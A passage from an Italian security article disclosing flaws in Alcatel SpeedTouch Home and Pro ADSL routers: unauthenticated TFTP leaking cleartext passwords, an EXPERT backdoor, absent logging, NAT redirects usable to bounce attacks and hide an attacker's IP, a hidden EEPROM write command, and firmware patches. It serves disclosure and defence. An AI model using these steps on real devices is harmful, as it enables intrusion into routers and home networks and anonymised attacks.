sicurezza del modello PRO della stessa linea di prodotti Alcatel, in particolare volevamo concentrare l'attenzione sul tftp non autenticato e sulla possibilita' di downloadare il file 'system.ini' contente addirittura la password (in chiaro) dell'apparato. In effetti poche ore dopo NeURo inserisce un post su BUGTRAQ (http://www.securityfocus.com/archive/1/D1F416A5132DD3119A2100508B715EBB039B20 @PABLO) dove conferma che la scoperta di Shimomura e' valida anche sui PRO e il 24 Aprile posta un exploit su come sfruttare queste vulnerabilita' per attaccare la rete interna dietro un eventuale router PRO (http://www.securityfocus.com/archive/1/D1F416A5132DD3119A2100508B715EBB039B48 @PABLO). Oltre alle problematiche relative alla sicurezza, stavamo investigando anche sulla possibilita' che il modem HOME e il router PRO fossero in realta' la stessa macchina e che in qualche modo ci fosse la possibilita' di trasformare un ST HOME in ST PRO. Nel mese di maggio 2001 riusciamo a provare anche questa tesi e rendiamo la cosa pubblica. In realta' anche altri ci stavano lavorando e forse qualcuno ci era arrivato un po' prima, ma per sua volonta' non ha mai voluto rendere pubblica la cosa, neanche a chi stava investigando nella stessa direzione, preferendo utilizzare questa scoperta per fini di lucro personali (leggi upgrade a pagamento). L'advisor e' stato reso pubblico su sikurezza.org e messo on line su www.spaghettihacker.it . Inoltre e' stato postato a BUGTRAQ, ma poi respinto dal moderatore senza commenti (probabilmente OT..). L'alcatel ha reagito con due comunicati a distanza, uno sulla sicurezza e uno sulla modifica che in seguito analizzeremo. http://www.alcatel.com/consumer/dsl/security.htm Dunque questo articolo cerca di fare un po' di chiarezza e di ordine sulle problematiche di sicurezza di questi apparati e le differenze tra l'HOME e il PRO cosa che continua ad essere non chiara per tutti. Analizzeremo una serie di attacchi possibili e forniremo gli strumenti per patchare il firmware, controllare le vulnerabilita' e rendere sicuri questi apparati. Infine abbiamo anche una piccola ricerca statistica sulla percentuale di vulnerabilita' dei ST PRO installati in italia, ma stiamo parlando di una proiezione, ottenuta prendendo in esame delle subnet di un fornitore di servizi ADSL italiano che fornisce questi apparati in comodato d'uso. - LE DIFFERENZE TRA STH E STP In realta' esistono altri prodotti della stessa linea tipo il 'ST PRO with firewall', ma non sono argomento di questo articolo, analizzeremo solo alcune cose in merito al firmware di quest'ultimo. Innanzitutto bisogna conoscere la differenza tra uno STH e uno STP: L'HOME e' un modem ADSL con 2 o 3 interfacce (a seconda dei modelli): . interfaccia WAN (ATM) . interfaccia ETHERNET (LAN) . interfaccia ATMF (LAN ATM) opzionale Supporta fino a 8 Mbps in downstream e 1 Mbps in upstream; con questo modem e' possibile connettersi ad un provider ADSL via interfaccia WAN (ATM) nelle modalita': - PPTP - BRIDGE Il PRO e' un ROUTER ADSL con le stesse specifiche dell'STH, ma permette il collegamento ADSL via ATM attraverso: - PPTP - PPPoA - BRIDGE - CIP (Classical IP) Inoltre il STP ha funzionalita' di routing, NAT e PAT. Conoscere bene i due prodotti e' importante per cogliere a pieno poi le relative differenze nelle problematiche di sicurezza che andremo ad elencare. Venendo al sodo, chi usa l'HOME non puo' avere un IP pubblico sul dispositivo perche' puo' utilizzare solo il PPTP o il Bridge mode e quindi l'IP a disposizione viene assegnato al PC come nelle piu' classiche connessioni ISDN/PSTN. Nel PRO invece sia che si usi la modalita' CIP (Classical IP - incapsulamento IP su ATM) sia che si usi PPPoA, tra le modalita' piu' utilizzate in Italia (se togliamo il PPPoE e il PPTP, ma che non necessitano appunto di un router) l'IP pubblico viene assegnato al router stesso che diventa automaticamente raggiungibile da internet. Questa differenza e' sostanziale (anche se banale, scusateci) per capire come mai per alcuni l'allarme sui BUG alcatel sia stato poco sentito e per altri invece e' risultato molto 'critico'. - LE PROBLEMATICHE DI SICUREZZA: TFTP SENZA AUTENTICAZIONE Questi due dispositivi hanno un tftp server sempre attivo raggiungibile sia lato LAN che lato WAN (solo PRO) il problema e' che non c'e' nessun tipo di autenticazione (TFTP classico), quindi chiunque puo' downloadare o manipolare tutti i file presenti sul file system (cosa non possibile via FTP, anche lui attivo di default, anche se si e' in possesso della password) compreso il firmware e i file di configurazione. Stessa cosa in upload, chiunque puo' uploadare sul dispositivo un firmware diverso (magari trojanizzato) o un file di configurazione, alterando in questo modo a piacimento il comportamento del router. Che ne dite di un piccolo storage per programmini utili (ca. 1 Mb). - LE PROBLEMATICHE DI SICUREZZA: PASSWORD IN CHIARO La prima cosa da fare quando si trova un router con tftp aperto e' un get tftp del file 'active/system.ini' che contiene la password del router (ad es. set password=pippo). A questo punto e' possibile telnettare (!) sul router usando la password ottenuta o addirittura usufruire dell'interfaccia web (che comunque offre meno comandi). L'Alcatel ha pensato bene di non utilizzare nemmeno uno straccio di algoritmo di criptazione per le password sul suo router, e inoltre si e' preoccupata di salvare il tutto nei vari file *.ini dove risiedono tutte le configurazioni. - LE PROBLEMATICHE DI SICUREZZA: EXPERT BACKDOOR E EXPERT MODE Shimomura, analizzando il firmware, ha trovato questa backdoor vera e propria (alla wargames!). EXPERT e' un SUPERUSER con password calcolabile tramite un algortimo di challenge and response http://security.sdsc.edu/self-help/alcatel/challenge.cgi di cui l'algoritmo non e' stato mai divulgato dallo scopritore e che si basa sul MAC address del router/modem piu' la stringa SpeedTouch: SpeedTouch (00-90-D0-01-02-03) Questa stringa, univoca per ogni apparato, se passata all'algoritmo challenge and response di Shimomura, restitutisce una stringa numerica che e' LA PASSWORD DELLA BACKDOOR EXPERT e anche della *modalita'* EXPERT. Nel nostro caso: 2541522904 La cosa interessente e' che oltre all'uso come backdoor in login con questo utente, digitanto la parola EXPERT sul prompt della CLI (Command Line Interface) e inserendo la password numerica, e' possibile entrare in *modalita'* EXPERT. Questa permette un accesso a basso livello sul file system in Flash e abilita una serie incredibile di comandi, anche di debug della rete ATM che trasformano il nostro router in un dispositivo di monitoraggio di linee ATM. Ecco una sessione e qualche esempio: =>EXPERT Switch to expert mode. Return to Normal mode by typing >help Built-in shell commands : boot cd cleandisk copy df dev dir download dump echo fdisk format fscheck link load mkdir move mount pwd remove rmdir sync unmount upload version short Following topics are available : dbg err xapi guard rip ni etha atm atm eth llc atmf iwu sock ipoa ipoa tcp pptp tftp config system softwa phoneb nat cip ppp bridge dns dhcp dhcpc sachem eoc aoc hs mlit msit golden tdsl >df Filesystem 512-blocks Used Available Capacity Mounted on /dev/fda0 251 96 155 38% / /dev/fda1 2292 2150 142 93% /active /dev/fda2 2292 2035 257 88% /dl >dir 1 256 0 0 3 160 40777 [.] 1 256 0 0 3 160 40777 [..] 1 257 0 0 1 256 40777 [active] 1 258 0 0 1 256 40777 [dl] 9 256 0 0 1 21120 100777 KPJEAA.100 12 256 0 0 1 384 100777 mount.cmd 15 256 0 0 1 15 100777 startup.cmd 6 256 0 0 1 7680 100777 pmd.coff BLOCK: 96 allocated, 155 free, 0 recoverable, 251 total INODE: 9 allocated, 11 free, 0 recoverable, 20 total Attivando la modalita' golden on nel menu tdsl e' possibile avere una quantita' incredibile di informazioni sulla proria connessione ADSL, andando nel menu golden: golden>help Built-in shell commands : boot cd cleandisk copy df dev dir download dump echo fdisk format fscheck link load mkdir move mount pwd remove rmdir sync unmount upload version short Golden debug commands --------------------- {} mandatory, [] optional parameters. modem_variant : Get the modem golden start state. modem_state : Get the modem state. configuration : Get the configuration data. identification : Get the identification data. common_settings : Get the common settings data. operational_data [init] : Get the operational data. channel_data : Get the channel data. operational_channel [init] : Get the operational channel data. carrier_data [init] : Get the carrier data. initialization_error : Get the initialization error. start_traffic : Start traffic measurement. stop_traffic : Stop traffic measurement. endian_stream : Toggle endian mode of the golden streaming mode. golden> golden>configuration Configuration report -------------------- ATUC ==== Minimum noise margin downstream : 0 Minimum noise margin upstream : 0 Max. additional noise margin downstream : 31 Max. additional noise margin upstream : 31 Target noise margin downstream : 12 Target noise margin upstream : 6 Max. PSD downstream : -40 Rate adaptivity mode downstream : 2 Rate adaptivity mode upstream : 2 Interleaf min bit rate downstream : 384 Interleaf min bit rate upstream : 96 Interleaf planned bit rate downstream : 800 Interleaf planned bit rate upstream : 160 Interleaf max bit rate downstream : 1536 Interleaf max bit rate upstream : 160 Interleaf max delay downstream : 16 Interleaf max delay upstream : 16 Fast min bit rate downstream : 0 [..] Carrier Mask (x=masked, o is not masked) Carrier 0 : o o o o o o o o o o Carrier 10 : o o o o o o o o x x Carrier 20 : x x x x x x x x x x Carrier 30 : x x x x x x x x o o Carrier 40 : o o o o o o o o o o Carrier 50 : o o o o o o o o o o [..] Near end M3 configurationData ============================= US power cutback : 0 Near end POTS overlay Operation modes : 11 Near end POTS overlay permissions 0 : 12353 Near end POTS overlay permissions 1 : 12359 Near end POTS overlay permissions 2 : 12288 Near end POTS overlay permissions 3 : 12377 [..] Near end ISDN overlay Operation modes : 0 Near end ISDN overlay permissions 0 : 0 Near end ISDN overlay permissions 1 : 0 Near end ISDN overlay permissions 2 : 0 [..] golden>operational_data Operational data report : near end (Downstream) ----------------------------------------------- Attainable line rate : 3964 kbit/sec Attainable Atm rate : 3424 kbit/sec Used line rate : 1884 kbit/sec Fast used Atm rate : 0 kbit/sec Interleaved used Atm rate : 1536 kbits/sec Rel. capacity occupation : 48 Noise Margin : 29 dB Line attenuation : 14 dB Output Power : 16 dBm Operational data report : far end (Upstream) -------------------------------------------- Attainable line rate : 536 kbit/sec Attainable Atm rate : 416 kbit/sec Used line rate : 264 kbit/sec Fast used Atm rate : 0 kbit/sec Interleaved used Atm rate : 160 kbits/sec Rel. capacity occupation : 49 Noise Margin : 22 dB Line attenuation : 9 dB Output Power : 9 dBm golden>operational_channel Operational Channel report : near end (Downstream) -------------------------------------------------- 1) SNR (dB) Carrier 38 : 31.6 31.8 Carrier 40 : 32.4 33.6 35.1 35.4 35.2 35.1 36.9 40.6 43.1 43.4 Carrier 50 : 43.6 43.4 47.3 48.1 47.5 48.0 47.1 47.5 47.8 48.1 Carrier 60 : 48.1 47.3 48.1 47.4 47.5 50.5 50.6 50.6 50.5 47.4 Carrier 70 : 50.5 50.3 50.3 50.3 50.3 50.2 50.3 50.3 50.1 50.2 Carrier 80 : 50.3 50.1 50.1 50.1 50.1 50.1 50.2 50.1 50.2 50.2 Carrier 90 : 50.3 48.9 50.3 50.6 49.6 50.4 50.6 50.4 49.5 49.6 Carrier 100 : 49.8 50.5 49.7 49.7 49.6 50.5 50.6 49.4 50.2 50.4 [..] golden>carrier_data Carrier report : near end (Downstream) --------------------------------------- 1) Allocated bits Carrier 38 : 0 0 Carrier 40 : 0 0 0 2 2 2 2 3 4 4 Carrier 50 : 4 4 5 5 5 5 5 5 5 5 Carrier 60 : 5 5 5 5 5 6 6 6 6 5 Carrier 70 : 6 6 6 6 6 6 6 6 6 6 Carrier 80 : 6 6 6 6 6 6 6 6 6 6 Carrier 90 : 6 2 6 6 6 6 6 6 6 6 [..] 2) Noise margin (dB) Carrier 38 : 31.8 32.0 Carrier 40 : 32.6 33.8 35.2 29.8 29.5 29.3 31.2 30.1 29.8 30.2 Carrier 50 : 30.3 30.1 30.9 31.6 31.1 31.4 30.8 31.1 31.4 31.6 Carrier 60 : 31.9 30.8 31.7 31.1 31.1 30.8 30.8 30.6 30.9 31.2 Carrier 70 : 30.6 30.6 30.4 30.6 30.4 30.3 30.5 30.5 30.4 30.6 Carrier 80 : 30.3 30.4 30.4 30.4 30.3 30.4 30.3 30.3 30.4 30.4 Carrier 90 : 30.5 43.4 30.6 30.7 29.8 30.8 30.8 30.7 29.8 29.9 Carrier report : far end (Upstream) ------------------------------------ 1) Allocated bits Carrier 7 : 2 2 3 Carrier 10 : 4 5 6 7 7 7 7 8 8 0 Carrier 20 : 0 0 0 0 0 0 0 0 0 0 2) Noise margin (dB) Carrier 7 : 23.8 23.9 25.3 Carrier 10 : 24.9 23.9 23.9 22.7 23.1 23.9 23.6 24.4 24.3 0.0 Carrier 20 : 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 3) Gains Carrier 7 : 1.1 0.7 0.9 Carrier 10 : 0.9 0.9 1.1 1.1 1.1 0.9 0.8 1.2 1.1 0.0 Carrier 20 : 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 0.0 [..] golden>start_traffic golden>stop_traffic Traffic report : near end ------------------------- Total measured time : 11 sec. Fast : Tx Cells : Active Cells : 0 Rx Cells : Active + Idle Cells : 0 Rx Cells : Active Cells : 0 Rx Cells : Discarded Cells : 0 Rx Cells : Hec errors : 0 Super Frames with HEC errors : 0 Super Frames with CRC errors : 0 Super Frames with corrected RS block errors : 0 Cell Loss Rate : 1.0e+00 Total number resynchr seconds : 0 Bit error rate - bitpipe : 1.0e+00 Bit error rate - application : 1.0e+00 Interleaved : Tx Cells : Active Cells : 26 Rx Cells : Active + Idle Cells : 39281 Rx Cells : Active Cells : 22 Rx Cells : Discarded Cells : 0 Rx Cells : Hec errors : 0 Super Frames with HEC errors : 0 Super Frames with CRC errors : 0 Super Frames with corrected RS block errors : 0 Cell Loss Rate : 0.0e+00 Total number resynchr seconds : 0 Bit error rate - bitpipe : 0.0e+00 Bit error rate - application : 0.0e+00 Traffic report : far end ------------------------- Total measured time : 11 sec. Fast : Tx Cells : Active Cells : 0 Rx Cells : Active + Idle Cells : 0 Rx Cells : Active Cells : 0 Rx Cells : Discarded Cells : 0 Rx Cells : Hec errors : 0 Super Frames with HEC errors : 0 Super Frames with CRC errors : 0 Super Frames with corrected RS block errors : 0 Cell Loss Rate : 1.0e+00 Total number resynchr seconds : 0 Bit error rate - bitpipe : 1.0e+00 Bit error rate - application : 1.0e+00 Interleaved : Tx Cells : Active Cells : 24 Rx Cells : Active + Idle Cells : 4090 Rx Cells : Active Cells : 28 Rx Cells : Discarded Cells : 0 Rx Cells : Hec errors : 0 Super Frames with HEC errors : 0 Super Frames with CRC errors : 0 Super Frames with corrected RS block errors : 0 Cell Loss Rate : 0.0e+00 Total number resynchr seconds : 0 Bit error rate - bitpipe : 0.0e+00 Bit error rate - application : 0.0e+00 golden> Vi consigliamo di provare (se il modem/router e' vostro :) visto che la modalita' e' nota da tempo, pero' fatelo con attenzione, potreste danneggiare il dispositivo in maniera permanente. Sarebbe molto interessante se con uno studio di crittoanalisi si riuscisse a trovare l'algoritmo di challenge and response scoperto da Shimomura, pero' questa volta rendendolo pubblico. - LE PROBLEMATICHE DI SICUREZZA: NESSUN LOG Per quanto ci risulta, il dispositivo non logga nulla. Chiaramente se siete connessi o state usando il NAT ci saranno delle entry nelle socket table e nella NAT table che mostrano la presenza della connessione, ma nulla ripetiamo NULLA, viene scritto da nessuna parte, e non ci risulta possibile configurare sistemi come Syslog o comunque per spedire i log da qualche parte. Questa caratteristica fa del router Alcatel un ottimo gateway per azioni 'illecite'. - LE PROBLEMATICHE DI SICUREZZA: IP CONFIG FIREWALLING ON Molte delle vulnerabilita' del router STP si possono eliminare con un semplice comando: ==> IP CONFIG FIREWALLING ON con questo comando il router semplicemente droppa tutti i pacchetti provenienti dall'esterno. Ma lascia passare le richieste NATTATE dall'interno della rete e gli eventuali NAT/PAT statici configurati. L'alcatel ha spacciato questo comando come soluzione ai problemi di sicurezza, ma vedremo che spessissimo e' configurato su off e perche' comunque esiste il livello AAL5 del protocollo ATM che non e' filtrato da questo comando (la vostra Telco puo' entrarvi sul router? SI!). Consigliamo comunque a tutti i possessori di STP di configurare il proprio router con il comando di firewalling su on. - UN PO' DI CHIAREZZA SUL NAT/PAT DELLO STP Cerchiamo di fare ordine. Prima di tutto bisogna abilitare il router a fare NAT+PAT. Andando nel menu NAT> e digitiamo: [nat]=>enable [nat]=>addr=IPPUBLICODELROUTER [nat]=>Type=PAT [nat]=>save all Ora lo STP puo' fare NAT STATICO SU UN SERVER: nat> defserver addr=IPLOCALEDANATTARESTATICAMENTE In questo modo anche con [ipconfig firewalling on] tutte le connessioni dirette all'IP pubblico assegnato al router verranno redirette verso la macchina con l'IP PRIVATO definita con il comando [defserver]. Cosi' facendo sara' possibile utilizzare anche quei protocolli meno supportati per il NAT tipo l'H323. Lo STP puo' fare NAT Dinamico per la intranet privata: con il comando [enable] si abilita questa funzionalita', quindi tutte le connessioni provenienti dalla lan privata verranno NATTATE con l'IP pubblico del router. Questo NAT, come tutti i NAT un po' datati, ha degli aggiustamenti per i seguenti protocolli: [nat]=>applist Application Proto DefaultPort RAUDIO(PNA) tcp 7070 RTSP tcp 554 IRC tcp 6667 FTP tcp 21 Ma come vedete protocolli di VoIP non sono supportati come l'h323 quindi niente netmeeting o simili. Il nostro router puo' fare anche Redirect delle porte. Questa funzionalita' e' molto comoda in caso di un solo IP pubblico a disposizione. Infatti si possono redirigere le connessioni destinate verso alcune porte dell'IP pubblico assegnato, in favore di alcune porte di server nella rete privata. Ad esempio potrei dire al mio router di rigirare sulla porta 80 del mio server interno, tutte le connessioni TCP in arrivo sul suo indirizzo IP pubblico alla porta 80. Questa operazione permette di fare anche cose ESTREMAMENTE dannose per la sicurezza della lan e per l'utilizzo del router come gateway (E NIENTE LOG!!!) per sferrare per esempio, altri attacchi verso l'esterno. Il discorso e' che il STP non discrimina tra indirizzi privati e pubblici, quindi possiamo tranquillamente configurarlo come un semplice DATAPIPE che accetta connessioni su determinate porte e 'rigira' il tutto a determinati server (non solo privati, ANCHE SU INTERNET) e relative porte. Come si configura un port redirect: utilizzando il comando [create] e [delete] si gestiscono i template di NAT e port redirect. [nat]=>help create create : Create/define static NAT/PAT entry protocol=IP protocol name or number> inside_addr= [inside_port=TCP/UDP service name or port number>] outside_addr= [outside_port=TCP/UDP service name or port number>] Nel dettaglio: protocol= tipo di protocollo (TCP UDP o identificativo es: IpSec = 50) inside addr= indirizzo interno (la macchina sulla quale volete rigirare la connessione alla porta scelta, da notare che e' possibile mettere come 'inside address' un IP pubblico di un qualsiasi host internet e quindi usare gli alcatel per "rimbalzare" e nascondere il proprio IP reale) inside port= porta verso la quale si vuole redirigere la connessione. outside addr= IP pubblico del router (oppure 0.0.0.0 - tutti) outside port= la porta che deve ascoltare il router (es si puo' mappare la porta 100 del router e farla redirigere verso la porta 23 di 192.168.0.2) Esempio: in questo modo e' possibile mappare le porte 137,138,139 TCP/UDP verso una macchina Windows della LAN interna e aprire una sessione NetBIOS da internet verso quella macchina della rete interna. Le stesse entry si cancellano con il comando delete: [nat]=>help delete delete : Delete static NAT/PAT entry protocol=IP protocol name or number> inside_addr= [inside_port=TCP/UDP service name or port number>] outside_addr= [outside_port=TCP/UDP service name or port number>] - TRASFORMARE L'HOME IN PRO Abbiamo notato subito che la differenza hardware piu' evidente (e praticamente l'unica) tra i due apparati e' solo la seriale esterna in dotazione al PRO e non all'HOME. Seguendo l'intuizione avuta verificando con una diff che il firmware dell'HOME era identico al firmware del PRO abbiamo pensato che in qualche modo, nella fase di boot, il firmware interrogasse una qualche ROM e che in base ad una specifica risposta visualizzasse (o meno) i menu e i comandi del piu' evoluto PRO. Pensavamo (giustamente) che la via fosse quella e stavamo cercando nel firmware una qualche chiamata di controllo che ci avvalorasse la nostra tesi. Ci siamo resi conto che la soluzione era piu' a portata di mano quando abbiamo scoperto che in modalita' EXPERT si accede ad un menu chiamato "RIP" (Remote Inventory Prom, per dettagli hardware vedere sotto). A quanto abbiamo capito e' una EEPROM o similare che viene interrogata al boot e che specifica alcune informazioni di 'magazzino' (tipo il numero di serie, il modello, etc.) e guardando nel firmware ci siamo accorti che oltre al comando drv_read descritto nell'help del menu RIP esisteva anche un comando (hidden) drv_write. A quel punto abbiamo cominciato a comparare i byte letti dal RIP di un ST Home e un ST Pro. Abbiamo notato che la word 2 della SEEPROM [drv_read 2 1 b] aveva un valore differente tra l'ST Home che era 0x8600 e il PRO che risultava essere 0x8606. Abbiamo poi cominciato a sostituire all'interno di un ST Home con il comando [drv_write] i byte diversi trovati nel ST Pro. Proviamo con [drv_write 2 1 b 8606] sull'ST Home e al reboot, con nostra grande sorpresa ;) ci siamo ritrovati con un bell'ST Pro! Siamo riusciti a ricavare alcuni settaggi: 0x8600 (Home default) 0x8606 (PRO default) 0x8700 (Home con atmf) 0x8706 (PRO con atmf) 0x8601 (home) 0x8602 (pro) 0x8603 (pro) 0x8604 (home) 0x8605 (home) 0x8607 (pro) 0x8608 (home) 0x8609 (pro) 0x8610 (home) 0x8611 (home) Dopo esserci sentiti con altre persone in giro per l'Europa, abbiamo scoperto che il settaggio di default cambia in base al paese di appartenenza. Attenzione: vi sconsigliamo vivamente di provare valori randomici, gli effetti sono molto nocivi! Se gia' lo avete fatto e vi ritrovate con un apparato morto, saltate direttamente alla sezione "Interfaccia alla Remote Inventory Prom sullo STH". Il tutto pero' non poteva essere eseguito se non avessimo scoperto il comando [drv_write], comando nascosto, al contrario di [drv_read]. Questo e' quello che c'e' nel firmware visionandolo con un editor esadecimale (noi stavamo cercando dei comandi nascosti, in questo caso drv_write): 001574B4 00000000 6472765F 72656164 00000000 00000000 6472765F 72656164 ....drv_read........drv_read 001574D0 00000000 00000000 0A657272 6F722061 7267756D 656E740A 00000000 .........error argument..... 001574EC 00000000 00000000 00000000 0A657272 6F722061 7267756D 656E740A .............error argument. 00157508 00000000 00000000 00000000 00000000 0A657272 6F722061 7267756D .................error argum 00157524 656E740A 00000000 62000000 00000000 00000000 74686520 64617461 ent.....b...........the data 00157540 20696E20 68657820 6973203A 20200000 25780000 0A000000 63000000 in hex is : ..%x......c... 0015755C 00000000 00000000 00000000 74686520 73747269 6E672069 73203A20 ............the string is : 00157578 25730A00 00000000 00000000 00000000 0A657272 6F722061 7267756D %s...............error argum 00157594 656E740A 00000000 00000000 00000000 00000000 6472765F 77726974 ent.................drv_writ 001575B0 65000000 00000000 6472765F 77726974 65000000 00000000 0A657272 e.......drv_write........err Molti si domandano quali sono i vantaggi di trasformare un HOME in PRO. Chiaramente, se non si necessita di una connessione PPPoA (PPP over ATM) o CIP (Classical IP) vantaggi reali non ce ne sono. Ma se qualcuno dovesse aver bisogno di acquistare un router ADSL per far funzionare la propria connessione PPoA o CIP, spendere 400/500 mila in meno sono sicuramente un vantaggio. In piu' per i collegamenti PPPoA (ARUBA) e' possibile far gestire dal router la connessione e il NAT/PAT della propria rete senza sacrificare un PC (anche se un pc con un NAT/PAT piu' evoluto potrebbe essere preferibile). Per il resto e' soltanto la brutta prova di come l'economia di scala oggi sia piu' importante del rispetto dei consumatori. - LE PATCH. ANZI, LE *VERE* PATCH (Shimomura & c) L'Alcatel ha da poco rilasciato un nuovo firmware (KHDSAA3.264). Questo non ha piu' la backdoor EXPERT, il tftp e' autenticato, e altre migliorie, ma la questione e' sempre grave. Ad esempio, l'SNMP e il TFTP sul protocollo AAL5 rimangono comunque aperte e quindi ci risiamo, il carrier puo' indiscriminatamente accedere al router (e alla vostra LAN) anche se e' di vostra proprieta'. La modalita' EXPERT si abilita digitando 'td prompt' e inserendo la solita password. L'altra possibilita' e' quella di patchare (byte a byte) il vecchio firmware disabilitando la backdoor EXPERT (telnet, ftp, http), l'accesso in tftp da internet e soprattutto dal DSLAM (protocollo AAL5) e lasciare la possibilita' di entrare in modalita' EXPERT senza bisogno di inserire la password. Tutto questo e' possibile utilizzando l'analisi e i tools prodotti da Shimoura e dal suo staff. I tools sono 'adnt-patch.tgz' all'interno del quale c'e' anche il file che spiega come eseguire le operazioni. http://security.sdsc.edu/self-help/alcatel/tools/ ::: IMPORTANTE ::: Le patch possono essere applicate soltanto ai firmware: KHDSBA.133 Mar 16 17:52:08 GMT 2000 KHDSAA.134 Apr 24 12:48:43 GMT 2000 (questo firmware in alcuni STP si trova con il nome build134.134 ma e' lo stesso) Il pacchetto contiene i seguenti programmi: -rw-r--r-- 1 root wheel 1538 Apr 14 07:26 Makefile -rw-r--r-- 1 root wheel 4013 Apr 14 07:23 adnt-pack.h -rw-r--r-- 1 root wheel 2390 Apr 14 07:25 adnt-patch.c -rw-r--r-- 1 root wheel 7718 Apr 14 07:24 adnt-unpack.c -rw-r--r-- 1 root wheel 5772 Apr 14 07:24 adnt-repack.c -rw-r--r-- 1 root wheel 8231 Apr 14 07:23 patch-notes ::: IMPORTANTE ::: Usare le zlib-1.1.3 altrimenti non e' garantito lo scompattamento del firmware al boot del router :) Il programma 'adnt-unpack.c' scompatta il firmware in 3 pacchetti: -rw-r--r-- 1 neuro staff 2110011 Apr 15 21:00 KHDSAA.134.coff (Il firmware) -rw-r--r-- 1 neuro staff 115 Apr 15 19:58 KHDSAA.134.head (Un header probabilmente il loader) -rw-r--r-- 1 neuro staff 190464 Apr 15 19:58 KHDSAA.134.tar (Le pagine web e le configurazioni factory default) Il file che interessa a noi e' il .coff (eseguibile per i960) che e' quello su cui andranno apportate le modifiche. Seguire le istruzioni dentro patch-notes e prepararsi il file con le modifiche che vogliamo apportare al firmware. Patchare il firmare con il programma adnt-patch. Impacchettare di nuovo il tutto con adnt-repack e upgradarlo sul proprio modem/router. L'upgrade si puo' fare via ftp con la password EXPERT, via web interface, via tftp. E' consigliabile mettere il nuovo firmware nella directory /dl cancellandone prima il contenuto, questa dir contiene il firmware secondario, e poi switchare invertendo il primario con il secondario. Se al boot il primario non e' "utilizzabile" il router prova a caricare il secondario. In caso di "disastro" vedere sotto il capitolo interfaccia seriale. L'STP with Firewall ha un firmware piu' grande, che non entra nella flash dei normali STH e STP, non ci e' stato possibile quindi utilizzarlo con il normale hardware. Ora scendiamo un po' di piu' nel dettaglio hardware, raccontandovi le nostre esperienze e scoperte relative. - INTERFACCIA SERIALE SULLO STH Di differenze hardware *reali* tra lo STH e lo STP ce ne sono poche. La piu' importante e' l'interfaccia seriale che, almeno esternamente, sembra essere non presente sullo STH. In realta' quasi tutta la circuiteria della interfaccia seriale (che permette l'accesso completo al sistema, con relativa console unix-style) e' inserita anche sullo STH, quindi non attendiamo oltre e proviamo ad usarla! ;) Per accedere all'interno dell'STH abbiamo bisogno di una chiave Torx (T10 di grandezza), un cacciavite a taglio e un po' di sangue freddo (se il modem lo avete pagato voi :). 1) svitate la quattro viti che trovate nella parte inferiore dell'apparato. Attenzione: due si trovano sotto l'adesivo metallico dove sono stampati i numeri di serie e altre informazioni, cercate di scollarlo con delicatezza, non distruggetelo. 2) dovete premere quattro clip con il cacciavite a taglio (tengono il coperchio dell'apparato insieme alla base). Non vi preoccupate se dovete forzare un po'. Una volta aperto il coperchio, noterete l'integrazione completa di tutti i componenti su una unica scheda madre, compresi i led di stato. Ora quello che dovete cercare e' un connettore azzurro di tipo 3M a 20 pin. Si trova nella parte centrale della scheda ed ha questo aspetto: 11 20 -------------------------------- | o o o o o x o o o x | | o o o o o o o o o x | --^---------- ------------- 1 10 i pin che ci interessano sono quelli con le 'x': 16 - ground 10 - RxDATA port_0 (input) 20 - TxDATA port_0 (output) 3) per interfacciarci abbiamo bisogno di costruire una interfaccia RS232-LVTTL. LVTTL sta per Low Voltage TTL, dunque non i classici 5V, ma la circuiteria alcatel funziona a 3V3. Nel nostro caso l'alimentazione e' data direttamente dall'apparato che accenderemo dopo aver collegato la nostra interfaccia, quindi ci interessa poco la tensione di alimentazione. Comunque non preoccupatevi: alimentare il tutto a 5V invece che a 3V3 non brucia assolutamente niente (abbiamo gia' provato per errore :) I componenti che dobbiamo acquistare sono i seguenti: N.2 - 1N4148 N.5 - Condens. 22uF N.1 - MAX232 N.1 - regolatore di tensione 78L05 questo e' lo schema ed e' di facile realizzazione anche per i non esperti. scusate la rozzezza del modello ma.. ;) 1N4148 (x2) DTR O----------->|------ | ------- RTS O----------->|------o----| 78L05 |----o--------------- ------- | | | |+ | | = 22uF | | - | | | | GND O----------------------------o--------o-------- | | | | | | | | | | | --------------------------------------o--------------- | | | | | | - | | = 22uF ----------- | | +| | |__| | | | | o----[| |]-------- | | +| | MAX232 | | o--------- = ---[| |]-----------------o--- 22uF - | | | o----[| |]--------------- | | | | | o---------------[| |]--------- | | +| 22uF | | | | | = ----------[| |] | | | - | | | | | | o---- o------[| |] | | | | | | | | | - [| |] | | | 22uF = | | | | | +| [| |] | | | | | | | | | | ----------- | | | | | | | ------------------------------------------ | | | | | | O GND O TX O RX Utilizzate dei connettori (tipo i connettori dei led di un comunissimo cabinet) per collegare le uscite della nostra interfaccia al connettore 3M presente sulla scheda madre. 4) ora possiamo collegarci in emulazione terminale in asincrono a 9600 bps 8N1. Proviamo ad accendere l'STH. *DOVRESTE* vedere un prompt (in caso contrario ricontrollate tutti i passaggi effettuati, vi assicuriamo che funziona). In questo modo avete accesso COMPLETO al sistema operativo dell'alcatel. Avete a disposizione comandi tipo cleandisk, fdisk, format, mkdir e anche mount, che possono essere utilizzati per creare e montare nuovi file system sulla flash. In effetti in caso di upgrade del firmware finito male e relativo R.I.P. del STH ;( la situazione si puo' recuperare in modo abbastanza veloce: . ci colleghiamo alla seriale . ricreiamo il file system con i comandi di cui abbiamo parlato sopra . lanciamo il comando "download" . buttiamo il firmware sull'STH con un prog di emulazione terminale che supporti il WXMODEM (Windowed XModem, molto lento ci vogliono quasi 30 minuti) ed il gioco e' fatto! - INTERFACCIA ALLA Remote Inventory Prom (RIP) sULLO STH Abbiamo gia' parlato della possibilita' di trasformare un alcatel STH in STP con i relativi vantaggi che ne possono derivare. Concentriamoci pero' adesso sui dettagli a basso livello che ci permettono di effettuare questo 'giochetto'. Guardando con luce diretta la motherboard di un STH, tra il connettore 3M di cui sopra e il quarzo poco sotto, si nota un piccolo integrato smd chiamato '93c66' o '93s66'. Questo chip e' una Serial EEPROM con capacita' di 512 Byte e indirizzamento a 16 bit. La sua memoria viene scritta in fase di produzione dopo che l'apparato ha superato i vari test di affidabilita' e funzionamento. I dati inseriti sono relativi al tipo di prodotto, ai numeri di serie del package, del modem, della scheda, etc. La cosa mooolto interessante e' che per fare questo si e' provveduto a riportare i collegamenti del microscopico chip direttamente sul grosso connettore 3M che abbiamo utilizzato per interfacciarci alla console seriale! Precisamente niente di piu' attraente per noi e voi malati di hacking ;) La nostra teoria e' che hanno 